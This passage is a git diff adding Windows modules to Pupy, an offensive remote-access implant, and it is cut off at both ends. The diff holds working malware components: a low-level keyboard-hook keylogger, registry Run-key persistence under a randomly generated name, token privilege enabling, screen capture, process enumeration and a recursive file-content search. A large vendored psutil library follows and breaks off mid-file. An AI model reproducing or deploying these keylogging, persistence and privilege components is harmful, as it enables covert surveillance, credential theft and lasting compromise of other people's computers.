"--> Loading %s(%s).%s is_package:%s"%(fullname,selected,extension, is_pkg) + return PupyPackageLoader(fullname, content, extension, is_pkg, selected) + except Exception as e: + raise e + finally: + imp.release_lock() + +def install(): + sys.meta_path.append(PupyPackageFinder(modules)) + sys.path_importer_cache.clear() + diff --git a/pupy/packages/all/pupyutils/__init__.py b/pupy/packages/all/pupyutils/__init__.py new file mode 100644 index 00000000..e69de29b diff --git a/pupy/packages/all/pupyutils/search.py b/pupy/packages/all/pupyutils/search.py new file mode 100644 index 00000000..fae67687 --- /dev/null +++ b/pupy/packages/all/pupyutils/search.py @@ -0,0 +1,36 @@ +#!/usr/bin/env python +# -*- coding: UTF8 -*- +import os +import os.path +import re + +def search_file(path, search_strings): + buf=b"" + line_nb=0 + with open(path, 'rb') as f: + for line in f: + line=line.lower() + for s in search_strings: + start=0 + while True: + i=line.find(s.lower(), start) + if i==-1: + break + start=i+1 + yield (line_nb, line[i-50:i+50].strip()) + line_nb+=1 + + +def search_path(path, search_strings, files_extensions=None): + """ search recursively for a string in all files in the path """ + if files_extensions: + files_extensions=tuple(files_extensions) + for root, dirs, files in os.walk(path): + for f in files: + if files_extensions is None or f.endswith(files_extensions): + for res in search_file(os.path.join(root,f),search_strings): + yield (os.path.join(root,f), res[0], res[1]) + +if __name__=="__main__": + import sys + search_path(sys.argv[1],[sys.argv[2]]) diff --git a/pupy/packages/windows/all/pupwinutils/__init__.py b/pupy/packages/windows/all/pupwinutils/__init__.py new file mode 100644 index 00000000..e69de29b diff --git a/pupy/packages/windows/all/pupwinutils/keylogger.py b/pupy/packages/windows/all/pupwinutils/keylogger.py new file mode 100644 index 00000000..0db396f7 --- /dev/null +++ b/pupy/packages/windows/all/pupwinutils/keylogger.py @@ -0,0 +1,122 @@ +# -------------------------------------------------------------- +# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu) +# All rights reserved. +# +# Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: +# +# 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. +# +# 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. +# +# 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. +# +# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE +# -------------------------------------------------------------- +import sys +from ctypes import * +from ctypes.wintypes import MSG +from ctypes.wintypes import DWORD +import threading +import time + +user32 = windll.user32 +kernel32 = windll.kernel32 +WH_KEYBOARD_LL=13 +WM_KEYDOWN=0x0100 + +keyCodes={ + 0x08 : "[BKSP]", + 0x09 : "[TAB]", + 0x0D : "\n", + 0x10 : "[SHIFT]", + 0x11 : "[CTRL]", + 0x12 : "[ALT]", + 0x13 : "[PAUSE]", + 0x14 : "[CAPS_LOCK]", + 0x1B : "[ESCAPE]", + 0x20 : " ", + 0x25 : "[LEFT]", + 0x26 : "[UP]", + 0x27 : "[RIGHT]", + 0x28 : "[DOWN]", + 0x2C : "[PRINT_SCREEN]", + 0x2E : "[DEL]", + 0x90 : "[NUM_LOCk]", + 0xA0 : "[LSHIFT]", + 0xA1 : "[RSHIFT]", + 0xA2 : "[LCTRL]", + 0xA3 : "[RCTRL]", + 0xA4 : "[LMENU]", + 0xA5 : "[RMENU]", +} + +class KeyLogger(threading.Thread): + def __init__(self, *args, **kwargs): + threading.Thread.__init__(self, *args, **kwargs) + self.hooked = None + self.daemon=True + self.keys_buffer="" + self.lUser32=user32 + self.pointer=None + self.stopped=False + + def run(self): + if self.install_hook(): + print "keylogger installed" + else: + raise RuntimeError("couldn't install keylogger") + msg = MSG() + user32.GetMessageA(byref(msg),0,0,0) + while not self.stopped: + time.sleep(1) + self.uninstall_hook() + + def stop(self): + self.stopped=True + + def dump(self): + res=self.keys_buffer + self.keys_buffer="" + return res + + def convert_key_code(self, code): + #https://msdn.microsoft.com/fr-fr/library/windows/desktop/dd375731%28v=vs.85%29.aspx + if code >=0x41 and code <=0x5a: # letters + return chr(code) + elif code>=0x30 and code <=0x39: # numbers + return str(code-0x30) + elif code>=0x60 and code <=0x69: # keypad numbers + return str(code-0x60) + elif code in keyCodes: + return keyCodes[code] + return "[%02x]"%code + + def install_hook(self): + CMPFUNC = CFUNCTYPE(c_int, c_int, c_int, POINTER(c_void_p)) + self.pointer = CMPFUNC(self.hook_proc) + self.hooked = self.lUser32.SetWindowsHookExA(WH_KEYBOARD_LL, self.pointer, kernel32.GetModuleHandleW(None), 0) + if not self.hooked: + return False + return True + + def uninstall_hook(self): + if self.hooked is None: + return + self.lUser32.UnhookWindowsHookEx(self.hooked) + self.hooked = None + + def hook_proc(self, nCode, wParam, lParam): + if wParam is not WM_KEYDOWN: + return user32.CallNextHookEx(self.hooked, nCode, wParam, lParam) + hooked_key = self.convert_key_code(lParam[0]) + self.keys_buffer+=hooked_key + return user32.CallNextHookEx(self.hooked, nCode, wParam, lParam) + +if __name__=="__main__": + keyLogger = KeyLogger() + keyLogger.start() + while True: + time.sleep(5) + print keyLogger.dump() + + diff --git a/pupy/packages/windows/all/pupwinutils/msgbox.py b/pupy/packages/windows/all/pupwinutils/msgbox.py new file mode 100644 index 00000000..ec4a1904 --- /dev/null +++ b/pupy/packages/windows/all/pupwinutils/msgbox.py @@ -0,0 +1,10 @@ +#!/usr/bin/env python +# -*- coding: UTF8 -*- + +import ctypes +import threading + +def MessageBox(text, title): + t=threading.Thread(target=ctypes.windll.user32.MessageBoxA, args=(None, text, title, 0)) + t.daemon=True + t.start() diff --git a/pupy/packages/windows/all/pupwinutils/persistence.py b/pupy/packages/windows/all/pupwinutils/persistence.py new file mode 100644 index 00000000..0870de2c --- /dev/null +++ b/pupy/packages/windows/all/pupwinutils/persistence.py @@ -0,0 +1,35 @@ +# -*- coding: UTF8 -*- +# -------------------------------------------------------------- +# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu) +# All rights reserved. +# +# Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: +# +# 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. +# +# 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. +# +# 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. +# +# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE +# -------------------------------------------------------------- +from _winreg import * +import random +import string + +def add_registry_startup(bin_path): + randname=''.join([random.choice(string.ascii_lowercase) for i in range(0,random.randint(6,12))]) + try: + aKey = OpenKey(HKEY_LOCAL_MACHINE, r"SOFTWARE\Microsoft\Windows\CurrentVersion\Run", 0, KEY_WRITE) + try: + SetValueEx(aKey, randname, 0, REG_SZ, bin_path) + finally: + CloseKey(aKey) + except Exception: + aKey2 = OpenKey(HKEY_CURRENT_USER, r"SOFTWARE\Microsoft\Windows\CurrentVersion\Run", 0, KEY_WRITE) + try: + SetValueEx(aKey2, randname, 0, REG_SZ, bin_path) + finally: + CloseKey(aKey) + + diff --git a/pupy/packages/windows/all/pupwinutils/processes.py b/pupy/packages/windows/all/pupwinutils/processes.py new file mode 100644 index 00000000..ce5b696f --- /dev/null +++ b/pupy/packages/windows/all/pupwinutils/processes.py @@ -0,0 +1,55 @@ +# -------------------------------------------------------------- +# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu) +# All rights reserved. +# +# Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: +# +# 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. +# +# 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. +# +# 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. +# +# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE +# -------------------------------------------------------------- +from ctypes import byref, c_bool +from ctypes import windll +import psutil +import platform + +PROCESS_QUERY_INFORMATION = 0x0400 +PROCESS_VM_READ = 0x0010 +MAX_PATH=260 + +def is_process_64(pid): + """ Take a pid. return True if process is 64 bits, and False otherwise. """ + is64=False + if not "64" in platform.machine(): + return False + hProcess = windll.kernel32.OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, False, pid) + is64=is_process_64_from_handle(hProcess) + windll.kernel32.CloseHandle(hProcess) + return is64 + +def is_process_64_from_handle(hProcess): + """ Take a process handle. return True if process is 64 bits, and False otherwise. """ + iswow64 = c_bool(False) + if not hasattr(windll.kernel32,'IsWow64Process'): + return False + windll.kernel32.IsWow64Process(hProcess, byref(iswow64)) + return not iswow64.value + +def enum_processes(): + proclist=[] + for proc in psutil.process_iter(): + try: + pinfo = proc.as_dict(attrs=['username', 'pid', 'name', 'exe', 'cmdline', 'status']) + pinfo['arch']=("x64" if is_process_64(int(pinfo['pid'])) else "x32") + proclist.append(pinfo) + except psutil.NoSuchProcess: + pass + return proclist + +if __name__ == '__main__': + for dic in enum_processes(): + print dic diff --git a/pupy/packages/windows/all/pupwinutils/screenshot.py b/pupy/packages/windows/all/pupwinutils/screenshot.py new file mode 100644 index 00000000..455f1f88 --- /dev/null +++ b/pupy/packages/windows/all/pupwinutils/screenshot.py @@ -0,0 +1,145 @@ +#code from http://tiger-222.fr/?d=2013/08/05/21/35/31-windows-capture-decran + +from ctypes import ( + byref, memset, pointer, sizeof, windll, + c_void_p as LPRECT, + c_void_p as LPVOID, + create_string_buffer, + Structure, + POINTER, + WINFUNCTYPE, +) +import ctypes.wintypes +from ctypes.wintypes import ( + BOOL, DOUBLE, DWORD, HANDLE, HBITMAP, HDC, HGDIOBJ, + HWND, INT, LPARAM, LONG,RECT,SHORT, UINT, WORD +) + +class BITMAPINFOHEADER(Structure): + _fields_ = [ + ('biSize', DWORD), + ('biWidth', LONG), + ('biHeight', LONG), + ('biPlanes', WORD), + ('biBitCount', WORD), + ('biCompression', DWORD), + ('biSizeImage', DWORD), + ('biXPelsPerMeter', LONG), + ('biYPelsPerMeter', LONG), + ('biClrUsed', DWORD), + ('biClrImportant', DWORD) + ] + +class BITMAPINFO(Structure): + _fields_ = [ + ('bmiHeader', BITMAPINFOHEADER), + ('bmiColors', DWORD * 3) + ] + + +# Initilisations +SM_XVIRTUALSCREEN = 76 # Coordonnée gauche * +SM_YVIRTUALSCREEN = 77 # Coordonnée haute * +SM_CXVIRTUALSCREEN = 78 # Largeur * +SM_CYVIRTUALSCREEN = 79 # Hauteur * +SRCCOPY = 0xCC0020 # Code de copie pour la fonction BitBlt() +DIB_RGB_COLORS = 0 + +GetSystemMetrics = windll.user32.GetSystemMetrics +EnumDisplayMonitors = windll.user32.EnumDisplayMonitors +GetWindowDC = windll.user32.GetWindowDC +CreateCompatibleDC = windll.gdi32.CreateCompatibleDC +CreateCompatibleBitmap = windll.gdi32.CreateCompatibleBitmap +SelectObject = windll.gdi32.SelectObject +BitBlt = windll.gdi32.BitBlt +GetDIBits = windll.gdi32.GetDIBits +DeleteObject = windll.gdi32.DeleteObject + + +# Type des arguments +MONITORENUMPROC = WINFUNCTYPE(INT, DWORD, DWORD, + POINTER(RECT), DOUBLE) +GetSystemMetrics.argtypes = [INT] +EnumDisplayMonitors.argtypes = [HDC, LPRECT, MONITORENUMPROC, LPARAM] +GetWindowDC.argtypes = [HWND] +CreateCompatibleDC.argtypes = [HDC] +CreateCompatibleBitmap.argtypes = [HDC, INT, INT] +SelectObject.argtypes = [HDC, HGDIOBJ] +BitBlt.argtypes = [HDC, INT, INT, INT, INT, HDC, INT, INT, DWORD] +DeleteObject.argtypes = [HGDIOBJ] +GetDIBits.argtypes = [HDC, HBITMAP, UINT, UINT, LPVOID, + POINTER(BITMAPINFO), UINT] + + +# Type de fonction +GetSystemMetrics.restypes = INT +EnumDisplayMonitors.restypes = BOOL +GetWindowDC.restypes = HDC +CreateCompatibleDC.restypes = HDC +CreateCompatibleBitmap.restypes = HBITMAP +SelectObject.restypes = HGDIOBJ +BitBlt.restypes = BOOL +GetDIBits.restypes = INT +DeleteObject.restypes = BOOL + + +def enum_display_monitors(oneshot=False): + + def _callback(monitor, dc, rect, data): + rct = rect.contents + results.append({ + b'left' : int(rct.left), + b'top' : int(rct.top), + b'width' : int(rct.right - rct.left), + b'height': int(rct.bottom -rct.top) + }) + return 1 + + results = [] + if oneshot: + left = GetSystemMetrics(SM_XVIRTUALSCREEN) + right = GetSystemMetrics(SM_CXVIRTUALSCREEN) + top = GetSystemMetrics(SM_YVIRTUALSCREEN) + bottom = GetSystemMetrics(SM_CYVIRTUALSCREEN) + results.append({ + b'left' : int(left), + b'top' : int(top), + b'width' : int(right - left), + b'height': int(bottom - top) + }) + else: + callback = MONITORENUMPROC(_callback) + EnumDisplayMonitors(0, 0, callback, 0) + return results + + +def get_pixels(monitor): + + width, height = monitor['width'], monitor['height'] + left, top = monitor['left'], monitor['top'] + + srcdc = GetWindowDC(0) + memdc = CreateCompatibleDC(srcdc) + bmp = CreateCompatibleBitmap(srcdc, width, height) + try: + SelectObject(memdc, bmp) + BitBlt(memdc, 0, 0, width, height, srcdc, left, top, SRCCOPY) + bmi = BITMAPINFO() + bmi.bmiHeader.biSize = sizeof(BITMAPINFOHEADER) + bmi.bmiHeader.biWidth = width + bmi.bmiHeader.biHeight = height + bmi.bmiHeader.biBitCount = 24 + bmi.bmiHeader.biPlanes = 1 + buffer_len = height * ((width * 3 + 3) & -4) + pixels = create_string_buffer(buffer_len) + bits = GetDIBits(memdc, bmp, 0, height, byref(pixels), + pointer(bmi), DIB_RGB_COLORS) + finally: + DeleteObject(srcdc) + DeleteObject(memdc) + DeleteObject(bmp) + + if bits != height or len(pixels.raw) != buffer_len: + raise ValueError('MSSWindows: GetDIBits() failed.') + + return pixels.raw diff --git a/pupy/packages/windows/all/pupwinutils/security.py b/pupy/packages/windows/all/pupwinutils/security.py new file mode 100644 index 00000000..3be3fc8b --- /dev/null +++ b/pupy/packages/windows/all/pupwinutils/security.py @@ -0,0 +1,70 @@ +# -*- coding: UTF8 -*- +# -------------------------------------------------------------- +# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu) +# All rights reserved. +# +# Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: +# +# 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. +# +# 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. +# +# 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. +# +# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE +# -------------------------------------------------------------- +from ctypes import * + +LPVOID = c_void_p +HANDLE = LPVOID +INVALID_HANDLE_VALUE = c_void_p(-1).value +DWORD = c_uint32 +LONG= c_long + +class LUID(Structure): + _fields_ = [ + ("LowPart", DWORD), + ("HighPart", LONG), + ] +class LUID_AND_ATTRIBUTES(Structure): + _fields_ = [ + ("Luid", LUID), + ("Attributes", DWORD), + ] + +class TOKEN_PRIVILEGES(Structure): + _fields_ = [ + ("PrivilegeCount", DWORD), + ("Privileges", LUID_AND_ATTRIBUTES), + ] + +def EnablePrivilege(privilegeStr, hToken = None): + """Enable Privilege on token, if no token is given the function gets the token of the current process.""" + close=False + if hToken == None: + close=True + TOKEN_ADJUST_PRIVILEGES = 0x00000020 + TOKEN_QUERY = 0x0008 + hToken = HANDLE(INVALID_HANDLE_VALUE) + res=windll.advapi32.OpenProcessToken( windll.kernel32.GetCurrentProcess(), (TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY), byref(hToken) ) + + privilege_id = LUID() + res=windll.advapi32.LookupPrivilegeValueA(None, privilegeStr, byref(privilege_id)) + + SE_PRIVILEGE_ENABLED = 0x00000002 + laa = LUID_AND_ATTRIBUTES(privilege_id, SE_PRIVILEGE_ENABLED) + tp = TOKEN_PRIVILEGES(1, laa) + + ERROR_NOT_ALL_ASSIGNED=1300 + + res=windll.advapi32.AdjustTokenPrivileges(hToken, False, byref(tp), sizeof(tp), None, None) + if not res: + raise WinError() + else: + res=windll.kernel32.GetLastError() + if res!=0: + raise WinError() + if close: + windll.kernel32.CloseHandle(hToken) + + diff --git a/pupy/packages/windows/amd64/psutil/__init__.py b/pupy/packages/windows/amd64/psutil/__init__.py new file mode 100644 index 00000000..3c4b5bca --- /dev/null +++ b/pupy/packages/windows/amd64/psutil/__init__.py @@ -0,0 +1,1901 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -*- + +# Copyright (c) 2009, Giampaolo Rodola'. All rights reserved. +# Use of this source code is governed by a BSD-style license that can be +# found in the LICENSE file. + +"""psutil is a cross-platform library for retrieving information on +running processes and system utilization (CPU, memory, disks, network) +in Python. +""" + +from __future__ import division + +import collections +import errno +import functools +import os +import signal +import subprocess +import sys +import time +try: + import pwd +except ImportError: + pwd = None + +from . import _common +from ._common import memoize +from ._compat import callable, long +from ._compat import PY3 as _PY3 + +from ._common import (STATUS_RUNNING, # NOQA + STATUS_SLEEPING, + STATUS_DISK_SLEEP, + STATUS_STOPPED, + STATUS_TRACING_STOP, + STATUS_ZOMBIE, + STATUS_DEAD, + STATUS_WAKING, + STATUS_LOCKED, + STATUS_IDLE, # bsd + STATUS_WAITING) # bsd + +from ._common import (CONN_ESTABLISHED, + CONN_SYN_SENT, + CONN_SYN_RECV, + CONN_FIN_WAIT1, + CONN_FIN_WAIT2, + CONN_TIME_WAIT, + CONN_CLOSE, + CONN_CLOSE_WAIT, + CONN_LAST_ACK, + CONN_LISTEN, + CONN_CLOSING, + CONN_NONE) + +from ._common import (NIC_DUPLEX_FULL, # NOQA + NIC_DUPLEX_HALF, + NIC_DUPLEX_UNKNOWN) + +if sys.platform.startswith("linux"): + from . import _pslinux as _psplatform + + from ._pslinux import (IOPRIO_CLASS_NONE, # NOQA + IOPRIO_CLASS_RT, + IOPRIO_CLASS_BE, + IOPRIO_CLASS_IDLE) + # Linux >= 2.6.36 + if _psplatform.HAS_PRLIMIT: + from ._psutil_linux import (RLIM_INFINITY, # NOQA + RLIMIT_AS, + RLIMIT_CORE, + RLIMIT_CPU, + RLIMIT_DATA, + RLIMIT_FSIZE, + RLIMIT_LOCKS, + RLIMIT_MEMLOCK, + RLIMIT_NOFILE, + RLIMIT_NPROC, + RLIMIT_RSS, + RLIMIT_STACK) + # Kinda ugly but considerably faster than using hasattr() and + # setattr() against the module object (we are at import time: + # speed matters). + from . import _psutil_linux + try: + RLIMIT_MSGQUEUE = _psutil_linux.RLIMIT_MSGQUEUE + except AttributeError: + pass + try: + RLIMIT_NICE = _psutil_linux.RLIMIT_NICE + except AttributeError: + pass + try: + RLIMIT_RTPRIO = _psutil_linux.RLIMIT_RTPRIO + except AttributeError: + pass + try: + RLIMIT_RTTIME = _psutil_linux.RLIMIT_RTTIME + except AttributeError: + pass + try: + RLIMIT_SIGPENDING = _psutil_linux.RLIMIT_SIGPENDING + except AttributeError: + pass + del _psutil_linux + +elif sys.platform.startswith("win32"): + from . import _pswindows as _psplatform + from ._psutil_windows import (ABOVE_NORMAL_PRIORITY_CLASS, # NOQA + BELOW_NORMAL_PRIORITY_CLASS, + HIGH_PRIORITY_CLASS, + IDLE_PRIORITY_CLASS, + NORMAL_PRIORITY_CLASS, + REALTIME_PRIORITY_CLASS) + from ._pswindows import CONN_DELETE_TCB # NOQA + +elif sys.platform.startswith("darwin"): + from . import _psosx as _psplatform + +elif sys.platform.startswith("freebsd"): + from . import _psbsd as _psplatform + +elif sys.platform.startswith("sunos"): + from . import _pssunos as _psplatform + from ._pssunos import (CONN_IDLE, # NOQA + CONN_BOUND) + +else: # pragma: no cover + raise NotImplementedError('platform %s is not supported' % sys.platform) + + +__all__ = [ + # exceptions + "Error", "NoSuchProcess", "ZombieProcess", "AccessDenied", + "TimeoutExpired", + # constants + "version_info", "__version__", + "STATUS_RUNNING", "STATUS_IDLE", "STATUS_SLEEPING", "STATUS_DISK_SLEEP", + "STATUS_STOPPED", "STATUS_TRACING_STOP", "STATUS_ZOMBIE", "STATUS_DEAD", + "STATUS_WAKING", "STATUS_LOCKED", "STATUS_WAITING", "STATUS_LOCKED", + "CONN_ESTABLISHED", "CONN_SYN_SENT", "CONN_SYN_RECV", "CONN_FIN_WAIT1", + "CONN_FIN_WAIT2", "CONN_TIME_WAIT", "CONN_CLOSE", "CONN_CLOSE_WAIT", + "CONN_LAST_ACK", "CONN_LISTEN", "CONN_CLOSING", "CONN_NONE", + "AF_LINK", + "NIC_DUPLEX_FULL", "NIC_DUPLEX_HALF", "NIC_DUPLEX_UNKNOWN", + # classes + "Process", "Popen", + # functions + "pid_exists", "pids", "process_iter", "wait_procs", # proc + "virtual_memory", "swap_memory", # memory + "cpu_times", "cpu_percent", "cpu_times_percent", "cpu_count", # cpu + "net_io_counters", "net_connections", "net_if_addrs", # network + "net_if_stats", + "disk_io_counters", "disk_partitions", "disk_usage", # disk + "users", "boot_time", # others +] +__all__.extend(_psplatform.__extra__all__) +__author__ = "Giampaolo Rodola'" +__version__ = "3.2.1" +version_info = tuple([int(num) for num in __version__.split('.')]) +AF_LINK = _psplatform.AF_LINK +_TOTAL_PHYMEM = None +_POSIX = os.name == 'posix' +_WINDOWS = os.name == 'nt' +_timer = getattr(time, 'monotonic', time.time) + + +# Sanity check in case the user messed up with psutil installation +# or did something weird with sys.path. In this case we might end +# up importing a python module using a C extension module which +# was compiled for a different version of psutil. +# We want to prevent that by failing sooner rather than later. +# See: https://github.com/giampaolo/psutil/issues/564 +if (int(__version__.replace('.', '')) != + getattr(_psplatform.cext, 'version', None)): + msg = "version conflict: %r C extension module was built for another " \ + "version of psutil (different than %s)" % (_psplatform.cext.__file__, + __version__) + raise ImportError(msg) + + +# ===================================================================== +# --- exceptions +# ===================================================================== + +class Error(Exception): + """Base exception class. All other psutil exceptions inherit + from this one. + """ + + def __init__(self, msg=""): + self.msg = msg + + def __repr__(self): + ret = "%s.%s %s" % (self.__class__.__module__, + self.__class__.__name__, self.msg) + return ret.strip() + + __str__ = __repr__ + + +class NoSuchProcess(Error): + """Exception raised when a process with a certain PID doesn't + or no longer exists. + """ + + def __init__(self, pid, name=None, msg=None): + Error.__init__(self, msg) + self.pid = pid + self.name = name + self.msg = msg + if msg is None: + if name: + details = "(pid=%s, name=%s)" % (self.pid, repr(self.name)) + else: + details = "(pid=%s)" % self.pid + self.msg = "process no longer exists " + details + + +class ZombieProcess(NoSuchProcess): + """Exception raised when querying a zombie process. This is + raised on OSX, BSD and Solaris only, and not always: depending + on the query the OS may be able to succeed anyway. + On Linux all zombie processes are querable (hence this is never + raised). Windows doesn't have zombie processes. + """ + + def __init__(self, pid, name=None, ppid=None, msg=None): + Error.__init__(self, msg) + self.pid = pid + self.ppid = ppid + self.name = name + self.msg = msg + if msg is None: + if name and ppid: + details = "(pid=%s, name=%s, ppid=%s)" % ( + self.pid, repr(self.name), self.ppid) + elif name: + details = "(pid=%s, name=%s)" % (self.pid, repr(self.name)) + else: + details = "(pid=%s)" % self.pid + self.msg = "process still exists but it's a zombie " + details + + +class AccessDenied(Error): + """Exception raised when permission to perform an action is denied.""" + + def __init__(self, pid=None, name=None, msg=None): + Error.__init__(self, msg) + self.pid = pid + self.name = name + self.msg = msg + if msg is None: + if (pid is not None) and (name is not None): + self.msg = "(pid=%s, name=%s)" % (pid, repr(name)) + elif (pid is not None): + self.msg = "(pid=%s)" % self.pid + else: + self.msg = "" + + +class TimeoutExpired(Error): + """Raised on Process.wait(timeout) if timeout expires and process + is still alive. + """ + + def __init__(self, seconds, pid=None, name=None): + Error.__init__(self, "timeout after %s seconds" % seconds) + self.seconds = seconds + self.pid = pid + self.name = name + if (pid is not None) and (name is not None): + self.msg += " (pid=%s, name=%s)" % (pid, repr(name)) + elif (pid is not None): + self.msg += " (pid=%s)" % self.pid + + +# push exception classes into platform specific module namespace +_psplatform.NoSuchProcess = NoSuchProcess +_psplatform.ZombieProcess = ZombieProcess +_psplatform.AccessDenied = AccessDenied +_psplatform.TimeoutExpired = TimeoutExpired + + +# ===================================================================== +# --- Process class +# ===================================================================== + + +def _assert_pid_not_reused(fun): + """Decorator which raises NoSuchProcess in case a process is no + longer running or its PID has been reused. + """ + @functools.wraps(fun) + def wrapper(self, *args, **kwargs): + if not self.is_running(): + raise NoSuchProcess(self.pid, self._name) + return fun(self, *args, **kwargs) + return wrapper + + +class Process(object): + """Represents an OS process with the given PID. + If PID is omitted current process PID (os.getpid()) is used. + Raise NoSuchProcess if PID does not exist. + + Note that most of the methods of this class do not make sure + the PID of the process being queried has been reused over time. + That means you might end up retrieving an information referring + to another process in case the original one this instance + refers to is gone in the meantime. + + The only exceptions for which process identity is pre-emptively + checked and guaranteed are: + + - parent() + - children() + - nice() (set) + - ionice() (set) + - rlimit() (set) + - cpu_affinity (set) + - suspend() + - resume() + - send_signal() + - terminate() + - kill() + + To prevent this problem for all other methods you can: + - use is_running() before querying the process + - if you're continuously iterating over a set of Process + instances use process_iter() which pre-emptively checks + process identity for every yielded instance + """ + + def __init__(self, pid=None): + self._init(pid) + + def _init(self, pid, _ignore_nsp=False): + if pid is None: + pid = os.getpid() + else: + if not _PY3 and not isinstance(pid, (int, long)): + raise TypeError('pid must be an integer (got %r)' % pid) + if pid < 0: + raise ValueError('pid must be a positive integer (got %s)' + % pid) + self._pid = pid + self._name = None + self._exe = None + self._create_time = None + self._gone = False + self._hash = None + # used for caching on Windows only (on POSIX ppid may change) + self._ppid = None + # platform-specific modules define an _psplatform.Process + # implementation class + self._proc = _psplatform.Process(pid) + self._last_sys_cpu_times = None + self._last_proc_cpu_times = None + # cache creation time for later use in is_running() method + try: + self.create_time() + except AccessDenied: + # we should never get here as AFAIK we're able to get + # process creation time on all platforms even as a + # limited user + pass + except 